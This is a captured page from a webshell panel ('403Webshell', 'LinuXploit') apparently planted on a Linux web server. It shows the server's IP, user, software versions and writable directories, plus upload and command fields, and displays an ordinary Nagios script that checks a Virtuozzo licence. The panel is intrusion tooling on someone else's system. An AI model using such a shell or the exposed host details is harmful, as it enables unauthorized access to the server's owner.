403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/vz7_check_a2_license.sh
#!/bin/bash
#
# Script to monitor vz7 license status
# Ref SYSENG-1618
#

vzlicinfo=$(vzlicview|grep -iE "expiration|status")
expire_time=$(date -d "$(echo "$vzlicinfo"|awk -F"=" '/expiration=/ {print $2}'|tr -d '\"')" +%s)
lic_status=$(echo "$vzlicinfo"|awk -F"=" '/status=/ {print $2}'|tr -d '\"')

if [ "${lic_status}" != "ACTIVE" ]; then
  printf "vz7lic_check - License is not active\n"
  exit 2
else
  seconds_to_expiry=$((${expire_time} - $(date +%s)))
  # 604800s = 7days
  if [ "${seconds_to_expiry}" -lt 604800 ]; then
    days_to_expiry=$((${seconds_to_expiry}/86400))
    printf "vz7lic_check - License is about to expire in ${days_to_expiry} days\n"
    exit 1
  else
    printf "vz7lic_check - License is active \n"
    exit 0
  fi
fi

Youez - 2016 - github.com/yon3zu
LinuXploit